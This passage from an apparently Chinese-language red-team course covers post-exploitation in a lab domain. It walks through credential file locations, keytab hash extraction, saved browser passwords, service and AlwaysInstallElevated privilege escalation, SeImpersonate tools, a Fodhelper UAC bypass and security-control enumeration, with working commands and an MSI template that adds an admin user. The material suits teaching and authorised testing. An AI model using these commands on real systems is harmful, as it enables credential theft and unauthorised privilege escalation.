我们可以在 **C:\\Users\\用户\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine** 中找到该用户的 PowerShell 历史。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kqH3VwH1wyuKLrDR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kqH3VwH1wyuKLrDR-image.png)

##### **SAM 数据库**

在 **C:\\Windows\\System32\\config** 目录下，有着 SAM 数据库文件。至于 SAM 数据库为何物，以及如何利用，我们在后面章节介绍。简单地说，SAM数据库保存着本地用户的密码哈希值。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/efErbAmKZ7K4xxax-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/efErbAmKZ7K4xxax-image.png)

### **Linux**

##### **/etc 目录**

**/etc/passwd**

查看所有用户，有的时候 passwd 会存放用户的密码哈希

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/L6Ey8cU3C2T5FV5M-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/L6Ey8cU3C2T5FV5M-image.png)

**/etc/shadow**

默认需要提升特权查看。如果可读，可以尝试破解帐号密码的哈希值

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LFRLgkoCJcpfVdDx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LFRLgkoCJcpfVdDx-image.png)

**/etc/crontab**

如果我们对计划任务中的条目具有控制权，或者对计划任务文件本身具有控制权，可以协助我们提权。我们也可以通过非默认的计划任务文件观察到自定义的文件或者脚本

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/EaIvO83U2srWImBO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/EaIvO83U2srWImBO-image.png)

**/etc/krb5.keytab**

加入域的Linux主机的主机账号的keytab文件。默认需要提升特权，如果可读，可以得到主机账号的NTLM或者密钥值，从而枚举域内信息。文件本身难以阅读，但我们可以通过工具 [https://github.com/sosdave/KeyTabExtract/blob/master/keytabextract.py](https://github.com/sosdave/KeyTabExtract/blob/master/keytabextract.py) 来解析：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/oBlISf5s8FsLUO6W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/oBlISf5s8FsLUO6W-image.png)

```shell
root@web01:/home/john@prod.raven-med.local# python3 ext.py  /etc/krb5.keytab 
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
	REALM : PROD.RAVEN-MED.LOCAL
	SERVICE PRINCIPAL : WEB01$/
	NTLM HASH : 32c6125ea4dd7bad17678b3fcf11c6f8
	AES-256 HASH : 6688494b7f01d8e290115890934e8cf7183caa0750669c32c7a943ed9f391fc3
	AES-128 HASH : 7371d20faf69e07a6000a401be641ea1
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/EJHjPYI2IzPwScqC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/EJHjPYI2IzPwScqC-image.png)

##### **keytab 文件**

这里指域用户的keytab文件，类似于krb5.keytab，域用户的keytab文件包含了用户的NTLM哈希，我们可以用来枚举域内信息或者用于哈希传递。

```shell
root@web01:/home/john@prod.raven-med.local# python3 ext.py  john.keytab 
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[!] Unable to identify any AES256-CTS-HMAC-SHA1 hashes.
[!] Unable to identify any AES128-CTS-HMAC-SHA1 hashes.
[+] Keytab File successfully imported.
	REALM : prod.raven-med.local
	SERVICE PRINCIPAL : john/
	NTLM HASH : f442e0cc228d1a0cb4621ebce433bcdc
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/9Oq7yKI0JeoXm5y9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/9Oq7yKI0JeoXm5y9-image.png)

##### **ccache 文件**

默认存在于 /tmp 目录下，ccache 文件保存了 Linux 域主机的 Kerberos 凭证。如果有任何在线的域用户会话，我们可以在 /tmp 中看到 ccache 文件。默认情况下，只有用户自身以及 root 用户才能读取，因此当我们提升至 root 权限后，可以对 ccache 文件进行窃取。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/I5eEyE8nvEzgSQ0b-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/I5eEyE8nvEzgSQ0b-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/J37mJSe72egJTtXX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/J37mJSe72egJTtXX-image.png)

##### **home 目录**

**Bash 历史**

有可能会包含明文凭证，例如该用户运行过 psql，mysql 等可以在命令行中提供明文密码的程序。默认情况下只有用户自己以及 root 用户能查看。并且可以将 bash 历史重定向到 **/dev/null** 来实现隐藏 bash 历史。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/J15jkHn4VlFZ1Lgh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/J15jkHn4VlFZ1Lgh-image.png)

**SSH 文件夹**

SSH 私钥默认只有用户自身或者 root 用户可以访问。在提权之后，或者权限配置不当的情况下，我们可以窃取用户的 ssh 私钥。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/cohYlHCI3ixQXo7x-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/cohYlHCI3ixQXo7x-image.png)

**Web 应用根目录**

可以从配置文件中提取到其他组件的凭证、访问应用源代码找到可能硬编码的凭证。由于 Web01 的 PHP 应用并没有用数据库，因此没有数据库的凭证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/fDjx2ncxfJw6xS3J-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/fDjx2ncxfJw6xS3J-image.png)

而 NodeJS 应用的后端数据库是 MongoDB，但 Web01 的 MongoDB 没有设置认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/gIoMaGTd2aDivFsg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/gIoMaGTd2aDivFsg-image.png)

对于 **Wordpress** 等常见的 web 应用，特定的文件中会包含数据库的连接凭证。

```shell
ubuntu@blog:/var/www/html/wordpress$ cat wp-config.php  | grep -v '*'
<?php

define( 'DB_NAME', 'wordpress' );

define( 'DB_USER', 'wordpress' );

define( 'DB_PASSWORD', 'Passw0rdw0rdpr3ss' );

define( 'DB_HOST', 'localhost' );

define( 'DB_CHARSET', 'utf8' );

define( 'DB_COLLATE', '' );

define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

$table_prefix = 'wp_';

define( 'WP_DEBUG', false );





if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

require_once ABSPATH . 'wp-settings.php';

```

**其他**

非上述目录下的 **sh、txt、xml、yml** 等类型的文本文件可能会包含凭证或者其他重要信息

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/x7ZUXREnalCUZt3B-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/x7ZUXREnalCUZt3B-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ZOEvncm9vaidYys2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ZOEvncm9vaidYys2-image.png)

# 保存的凭证

关于凭证，尤其是 Windows 平台的不同类型的凭证，我们会在稍后章节作讲解。这里指的凭证，更多指的是明文帐号密码，例如存放在文本文件中的明文密码、保存在浏览器里的密码等。

在上一篇，我们讨论了双平台的一些敏感文件，其中一些文件可能已经包含凭证了。除此之外，我们来查看注册表、应用、缓存中所保存的凭证。

### **Windows开机自动登陆**

有些主机会设置开机自动登陆，那么明文的帐号密码会存储于注册表 **HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon** 处

提权应用 **winpeas** 可以帮助我们枚举到

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0TnHE6ArhmYgGYeG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0TnHE6ArhmYgGYeG-image.png)

在注册表中的位置

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ACB2Yhcssm7ZKw36-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ACB2Yhcssm7ZKw36-image.png)

我们可以使用cmd命令 **reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon" /v DefaultPassword** 进行查询

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/sGwW6dAX69vL0rus-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/sGwW6dAX69vL0rus-image.png)

也可以借助PowerUp或者WinPEAS等提权工具协助我们发现。枚举自动登陆凭证无须管理员特权。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/urFAaDeBEsnv7JNx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/urFAaDeBEsnv7JNx-image.png)

### **浏览器保存的凭证**

而浏览器也会保存着大量的凭证，尤其是工作站上的浏览器。SharpDPAPI ([https://github.com/GhostPack/SharpDPAPI) ](https://github.com/GhostPack/SharpDPAPI)与 SharpChrome ([https://github.com/djhohnstein/SharpChromium](https://github.com/djhohnstein/SharpChromium)) 这两个工具可以协助我们提取在浏览器上保存的凭证。至于原理会在后续章节详细介绍。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/BflCOJOIt2BhrE6Y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/BflCOJOIt2BhrE6Y-image.png)

如上图所示，我们在 web02 上以 serveradm 的身份读取到了 Chrome 浏览器保存的信息，曾以 macro 登陆 **https://raven-medicine.com**，我们找到了明文密码 **Zx1471984#**。

### **应用里保存的凭证**

一些应用也会保存凭证，例如MSSQL管理工具。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/o3r0XY5lGkm27MZb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/o3r0XY5lGkm27MZb-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/JBI8mJ9q3kvjM8bx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/JBI8mJ9q3kvjM8bx-image.png)

# 服务提权

服务提权，是 Windows 平台提升权限的经典途径，但实际上服务提权又可以根据利用的根源分为 **3种** 更具体的不当配置。一些有关服务提权的 CVE 漏洞原理也是来自这 3 个 (如果你发现了某个应用的服务匹配以下任一情形，只要你愿意申请，就能有 CVE)。

服务提权可以分为这三类：

### **配置不当的服务权限**

攻击者对于服务本身具有特定权限，例如修改服务的**二进制文件路径**、**停止/启动服务**、修改其他服务参数等。因此，利用手法可以是将服务二进制文件指定为攻击者的载荷。此外，由于还可以修改服务的其他参数，例如是否自启动，可以实现主机持久化。在下一个章节我们会进行介绍。

**修改二进制文件路径**：将服务的二进制文件指向恶意的载荷

**停止与启动服务**：使修改生效

**启动类型**：通过服务来维持访问

### **未用引号引用的服务路径**

因为文件夹或者文件是允许存在空格的，例如文件夹 **“C:\\Program Files”**，但如果不加引号，即 **C:\\Program Files**，Windows会把 **C:\\Program** 当成目标文件夹。并且当服务区解析二进制文件的地址的时候，例如该二进制文件地址为 **“C:\\Program Files\\Weak Services\\Unquoted Service.exe”** ，那么从前往后依次解析到的是

**C:\\Program.exe**

**C:\\Program Files\\Weak.exe**

**C:\\Program Files\\Weak Services\\Unquoted.exe**

因此，如果我们想要利用，可以在上述任一一路径丢入一个二进制文件。但需要注意的是，我们需要对响应的文件夹具有**写权限**。

如果还是有些不理解，大家可以记住这样的模式：对于一个二进制文件的地址如果是 **"C:\\A B\\C D\\E F.exe"**

我们可以在 **C:\\** 丢入 **A.exe**，即 **C:\\A.exe**

我们可以在 "**C:\\A B"** 丢入 **C.exe**，即 **"C:\\A B\\C.exe"**

我们可以在 **"C:\\A B\\C D\\"** 丢入 **E.exe**，即 "**C:\\A B\\C D\\E.exe"**

我们以 CVE 漏洞 CVE-2022-37197 ([https://www.exploit-db.com/exploits/51029](https://www.exploit-db.com/exploits/51029)) 举例，二进制文件的地址为  **C:\\Program Files (x86)\\IOTransfer\\Updater\\IOTUpdater.exe**，并没有用引号包裹该路径，那么会导致路径解析错误，通过在特定路径防止恶意载荷，可以让恶意载荷被读取。

```powershell
C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

IOTransfer Updater IOTUpdaterSvc C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
                      Auto

C:\>sc qc IOTUpdaterSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IOTUpdaterSvc
        TYPE : 10 WIN32_OWN_PROCESS
        START_TYPE : 2 AUTO_START
        ERROR_CONTROL : 1 NORMAL
        BINARY_PATH_NAME : C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe


LOAD_ORDER_GROUP :
        TAG : 0
        DISPLAY_NAME : IOTransfer Updater
        DEPENDENCIES :
        SERVICE_START_NAME : LocalSystem
```

### **配置不当的服务二进制文件**

攻击者对于该服务的二进制文件具有修改权。因此，常规的利用手法是用生成一个恶意的服务二进制文件，替换掉原有的服务二进制文件。之后，该服务就会执行恶意的二进制文件。

让我们来查看 **CVE-2021-35312** 的利用 ([https://www.exploit-db.com/exploits/50184](https://www.exploit-db.com/exploits/50184)):

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/3nh3B4FCS3iJD4a1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/3nh3B4FCS3iJD4a1-image.png)

根据描述，我们发现二进制文件 **RemoteBackup.Service.exe** 默认被分配了错误的文件权限，导致低权限用户也有变更权。通过替换成恶意载荷，便可以获得 SYSTEM 权限。

不用担心一时间无法仔细区分出这 3 种脆弱的服务配置，**powerup.ps1** 脚本如果发现了上述任一类型，也就是只要是实际可利用的脆弱服务，它能帮助我们自动利用。

# AlwaysInstallElevated提权

如果系统管理员在注册表以及主策略里配置了 **AlwaysInstallElevated**，意味着任何用户可以在安装 msi 包裹的时候以 **SYSTEM** 权限执行，这无疑带来了一个提权路径。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/zmFZhmKsqrOrlf3X-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/zmFZhmKsqrOrlf3X-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/VpE58EnFW45Yza05-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/VpE58EnFW45Yza05-image.png)

我们可以通过命令 **reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated**  
和 **reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated** 进行查询。提权工具也可以协助我们检查甚至加以利用。

```powershell
C:\Windows\system32>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1


C:\Windows\system32>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/aPx2Yil16EfXCzVY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/aPx2Yil16EfXCzVY-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/i5KWHxxhExJFonz3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/i5KWHxxhExJFonz3-image.png)

但需要注意的是，PowerUp 脚本生成的 MSI 包裹所使用的 .NET 版本过于陈旧，在较新的系统上不适用了，因此我们需要手动创建MSI 包裹文件。Metasploit同样可以生成MSI类型的载荷，但很容易被 AV/EDR 所检测。

我们可以使用工具 wix ([https://github.com/wixtoolset/wix3](https://github.com/wixtoolset/wix3)) 来将包含二进制文件或者任意命令的模板 ([https://github.com/KINGSABRI/MSI-AlwaysInstallElevated](https://github.com/KINGSABRI/MSI-AlwaysInstallElevated)) 进行打包然后安装。

我们可以直接将要运行的载荷或者命令包含在里面，我们尝试执行添加新用户的命令，模板内容如下：

```xml
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
    <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="23e23deeqwddeweqwde" Version="0.0.1" Manufacturer="Test1" Language="1033">
        <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package" />
        <Media Id='1' />
        <Directory Id="TARGETDIR" Name="SourceDir">
            <Directory Id="ProgramFilesFolder">
                <Directory Id="INSTALLLOCATION" Name="Example">
                    <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222" KeyPath="yes"></Component>
                </Directory>
            </Directory>
        </Directory>
        <Feature Id="DefaultFeature" Level="1">
            <ComponentRef Id="ApplicationFiles" />
        </Feature>

        <CustomAction 
            Id="Shell" 
            Execute="deferred"
            Directory="TARGETDIR" 
            Impersonate="no" 
            ExeCommand="net user root Passw0rd /add" 
            Return="check" 
        />

        <InstallExecuteSequence>
            <Custom Action="Shell" After="InstallFiles"></Custom>
        </InstallExecuteSequence>
    </Product>
</Wix>
```

将该模板打包成 .msi 文件：

```powershell
C:\Users\localadmin\Desktop\wix>candle always.wxs
Windows Installer XML Toolset Compiler version 3.11.2.4516
Copyright (c) .NET Foundation and contributors. All rights reserved.

always.wxs

C:\Users\localadmin\Desktop\wix>light always.wixobj
Windows Installer XML Toolset Linker version 3.11.2.4516
Copyright (c) .NET Foundation and contributors. All rights reserved.


C:\Users\localadmin\Desktop\wix>
```

我们可以直接使用完整或者相对路径运行 .msi 文件，或者使用 **msiexec /i always.msi /qn** 命令。当前用户为低权限的 lpe 用户，对比前后的本地用户列举，我们发现新用户 root 被添加了进来。

```powershell
C:\Windows\system32>net user

User accounts for \\ATTACKER

-------------------------------------------------------------------------------
admin                    Administrator            DefaultAccount
Guest                    localadmin               lpe
WDAGUtilityAccount
The command completed successfully.


C:\Windows\system32>whoami
attacker\lpe

C:\Windows\system32>C:\always.msi

C:\Windows\system32>net user

User accounts for \\ATTACKER

-------------------------------------------------------------------------------
admin                    Administrator            DefaultAccount
Guest                    localadmin               lpe
root                     WDAGUtilityAccount
```

根据组策略，有的情况下 MSI 文件需要被签名了才允许被安装。

# SeImpersonatePrivilege提权

如果一个账户被授予 **SeImpersonatePrivilege** 特权，那么该账户可以模仿任何我们能获得引用或者句柄的令牌。我们可以通过命令**whoami /priv** 或者 **whoami /all** 来查看当前账户是否拥有该特权。通常，本地服务帐号以及域服务帐号开启该特权，例如 IIS 的默认服务账号、SQL Server 的服务账号，以及域中被一些被设置了 SPN 的服务帐号。

我们之前通过上传了 aspx 的 webshell 在 Web02 上以 IIS 服务帐号的身份获得了代码执行，我们可以在 PRIVILEGES INFORMATION 这一块看到 SeImpersonatePrivilege 特权是开启的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/TYPE5UPPgZt27EHs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/TYPE5UPPgZt27EHs-image.png)

利用 SeImpersonatePrivilege 提权至 SYSTEM 涉及到了令牌理论，并且利用手法也多种多样，考虑到背后原理具有一定复杂性，我们不在课程的早期进行详细讲解。但简单地解释就是，**拥有该特权的账户可以以其他用户的上下文执行代码甚至创建进程**。

对于该特权的利用，有多种工具，知名的有(土豆家族) JuicyPotato，RottenPotato，SweetPotato 等，以及 PrintSpoofer。土豆家族中各个工具利用的原理，以及适用系统版本有所不同，想深入了解其中区别，可以查阅文章 [https://jlajara.gitlab.io/Potatoes\_Windows\_Privesc](https://jlajara.gitlab.io/Potatoes_Windows_Privesc)

当前，适用性很好的利用工具有 SweetPotato ([https://github.com/CCob/SweetPotato](https://github.com/CCob/SweetPotato))，以及 PrintSpoofer ([https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer))。BadPotato ([https://github.com/BeichenDream/BadPotato](https://github.com/BeichenDream/BadPotato)) 是 PrintSpoofer 利用的 C# 实现，可以配合 execute-assembly 使用。

如果利用 PrintSpoofer 的话，要确保 **Print Spooler** 服务正在运行，否则我们需要用其他方法利用 SeImpersonatePrivilege。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/d8WQxiVvm3FyOFKC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/d8WQxiVvm3FyOFKC-image.png)

我们使用 BadPotato 执行命令，可以发现是以 **SYSTEM** 权限运行的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/jiuwkoCim3NKQGEf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/jiuwkoCim3NKQGEf-image.png)

# UAC绕过

我们可能以为，拿到了管理员权限的 shell 已经大功告成了，实际上并不是这样。帐号与帐号之间有权限的差异，而管理员上下文的会话则有完整度（Integrity）的差异。对于管理员用户，默认完整度是**中等**，如果要充分利用管理员的权限，所需要的完整度等级是**高**，而SYSTEM上下文的完整度是 **SYSTEM**。

举个实际例子的话，攻击者发送了一份带有宏的恶意文件，并且受害者打开了它使得载荷得以成功执行，受害者当前的帐号是本机的本地管理员。但是返回的 beacon 却是中等完整度的，一些敏感操作无法执行，例如添加新的用户、使用 mimikatz 导出凭证、访问其他主机的 **C$** 等。以下3个截图分别是中等完整性、高级完整性、以及系统级完整性的截图，我们可以通过命令 **whoami /groups** 查看。至于具体怎么操作，直接运行cmd.exe则默认以中等完整度运行，右键选择以管理员权限运行，则是高级完整度。通过PsExec生成SYSTEM权限的cmd.exe，则是系统级完整度。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/dsrljLOLJiKXYUtp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/dsrljLOLJiKXYUtp-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DLWZKkNpX8VMNPK8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DLWZKkNpX8VMNPK8-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/YPWY7Q2TauCnGl7W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/YPWY7Q2TauCnGl7W-image.png)

UAC 用于允许管理员用户不对每个执行的进程授予管理员权限。这通过使用默认用户的低权限令牌来实现的。当管理员以管理员身份执行某个进程时，将执行 UAC 提升，使用特权令牌创建进程。如果用户属于管理员组，则某些程序会自动提升。这些二进制文件在其清单中具有值为 True 的 autoElevate 选项。需要注意的是，这些二进制文件由 Microsoft 签名的。  
为了绕过 UAC，即从中等完整性等级提升到高完整性等级，攻击者会使用这种二进制文件来执行任意代码，因为它将以高级完整性等级执行，例如 **fodHelper.exe**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hur7pbj8z7JlyQV8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hur7pbj8z7JlyQV8-image.png)

经典的 Fodhelper UAC 绕过的方式如下：

```powershell
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "powershell.exe" -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
C:\Windows\System32\fodhelper.exe
```

当前，我们是中等完整度：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CMSGLsdLX6qgytnT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CMSGLsdLX6qgytnT-image.png)

执行如上命令后，高完整度的 powershell.exe GUI 会弹出来

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DDXk74TMw8bKDJe9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DDXk74TMw8bKDJe9-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/UrlD2WI5pJUHsnMo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/UrlD2WI5pJUHsnMo-image.png)

关于 UAC 的绕过方式有多种，但背后的根本原因是一致的：**以高完整度的上下文执行程序或代码**。UACME ([https://github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME)) 工具利用了 Windows 内置的自动以高完整度运行的程序实现UAC绕过，在目前依然有效。在编译后选择合适的 key 以及要运行的程序，便可以提升完整度等级了。

我们选择了 61号方法，方法背景如下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LBUXOY2vVtBCWTl8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LBUXOY2vVtBCWTl8-image.png)

我们成功获得了高完整度的会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/4JQ9F7r58fZEL5Gq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/4JQ9F7r58fZEL5Gq-image.png)

# CVE漏洞提权

我们之前讲到的提权方式，主要以利用不当配置为主，在提权过程中也可以利用 CVE 漏洞的 exp 来实现，例如内核漏洞、应用漏洞、服务漏洞等。

WinPEAS，Watson ([https://github.com/rasta-mouse/Watson](https://github.com/rasta-mouse/Watson)) 等提权工具/脚本能根据系统的版本、打的补丁历史来判断系统对哪些漏洞仍然脆落

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Z4uI6s4BzoEsQ470-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Z4uI6s4BzoEsQ470-image.png)

内核漏洞提权：例如 **SMBGhost** ([https://github.com/ZecOps/CVE-2020-0796-LPE-POC](https://github.com/ZecOps/CVE-2020-0796-LPE-POC)) 以及Linux平台的 Dirty Pipe ([https://www.exploit-db.com/exploits/50808](https://www.exploit-db.com/exploits/50808)) 内核漏洞

应用漏洞提权： 例如 **XAMPP 7.4.3** ([https://www.exploit-db.com/exploits/50337](https://www.exploit-db.com/exploits/50337))

服务漏洞提权：例如 **MilleGPG5 5.7.2** ([https://www.exploit-db.com/exploits/50558](https://www.exploit-db.com/exploits/50558))

对于具有 CVE 编号的服务漏洞提权，原理基本与我们之前所讲的常见服务配置不当相同。对于具有 CVE 编号的应用漏洞提权，这些应用往往在高权限下 (SYSTEM，root) 运行，而普通权限用户能与之进行读写交互或者命令执行。

而对于利用内核漏洞提权，exp 往往已经提供了足以利用的步骤，但有的时候，我们需要对 exp 进行修改，例如 shellcode 部分。并且尤其是针对内核的漏洞会导致目标系统不稳定甚至崩溃，我们需要小心谨慎。

# 安全控制枚举

如何绕过常见的安全控制不是本章的内容，但是作为进攻方，我们必须知道企业都部署了哪些安全控制措施，知己知彼，做足准备。如今，我们可以使用 SeatBelt、WinPEAS、SharpUp 等工具协助我们枚举主机部署的安全控制，但是我们要知道这些工具又是怎么样帮助我们枚举出这些安全控制措施的存在的

##### **杀毒软件以及 EDR/XDR/MDR**

在如今企业里，主机基本都配备了 **EDR/XDR/MDR** 产品，这类产品的检测能力远比杀毒软件强大。即便是没有额外安装杀毒软件的主机，也自带防护效果良好的 **Windows Defender**。考虑到 AV/EDR 厂商众多，总的来说，我们可以通过查看**进程名**、**文件\\文件夹**等方法来确认特定 AV/EDR 产品的存在。

**AMSI**，是用于扫描内存中恶意代码的接口，并不是所有杀毒软件都支持 AMSI 借口，我们可以通过 PowerShell字符串 **'Invoke-Mimikatz'** 来确认其存在。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/5ssGowEkcFULiDRo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/5ssGowEkcFULiDRo-image.png)

##### **UAC**

我们在之前的小节里讨论过 UAC 以及绕过手段，UAC 在多数时候都是默认启用的，我们可以通过 PowerShell命令 **(Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System).EnableLUA** 来确认。

```powershell
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hHpMHN3Eo0buDr4c-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hHpMHN3Eo0buDr4c-image.png)

##### **AppLocker**

AppLocker，可以对可执行文件、安装包文件、脚本文件、包裹文件、甚至 DLL 文件加以限制，在非白名单的情况下我们无法执行对应类型的文件。我们可以通过 Powershell 命令 **Get-ChildItem -Path HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe\\** 来查询启用状态。

```powershell
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe\
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/nAiSGzYxZoRkVHL2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/nAiSGzYxZoRkVHL2-image.png)

##### **约束语言模式 CLM**

